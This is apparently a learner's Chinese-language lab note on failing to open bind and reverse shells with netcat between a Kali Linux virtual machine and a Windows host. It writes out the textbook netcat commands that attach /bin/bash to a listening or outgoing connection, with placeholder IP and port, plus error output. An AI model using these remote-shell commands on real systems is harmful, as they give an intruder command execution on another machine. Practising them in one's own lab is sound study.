用netcat实现开放式shell失败【未解决】

操作系统:Kali Linux(虚拟机)

打算在kali linux虚拟机和物理主机(windows系统)上实现开放式和反弹式shell:

1. 开放式shell:

  • 1.书本定义:
    * 在终端1:nc -lvp {端口号} -e /bin/bash
    * 在终端2:nc {IP} {端口号}
    * 能够实现在终端2输入命令在终端1运行,运行结果显示在终端2

  • 2.实际结果:
    * 虚拟机kali Linux:终端1
    * 物理主机Windows:终端2
    * 结果:两边均无反应

    • 调转两终端:
      • Windows系统终端
        connect to [192.168.248.1] from WIN-54NG34K91CH [192.168.248.1] 2666
        Failed to execute shell, error = 2: unknown socket error
        Failed to execute shell: unknown socket error用netcat实现开放式shell失败【未解决】

      • Kali Linux:无反应

2.反弹式shell

  • 1.书本定义:
    • 在终端1:nc -lvp {端口号}
    • 在终端2:nc {IP} {端口号} -e /bin/bash
    • 能够实现在终端1输入命令在终端2运行,运行结果显示在终端1
    • 实际运行:
      • 虚拟机:终端1
      • 物理主机:终端2
      • 结果:物理主机连接失败,无反应
        • 调转两终端:
        • 成功!能在物理主机输入命令,在虚拟机运行,运行结果返回物理主机
          用netcat实现开放式shell失败【未解决】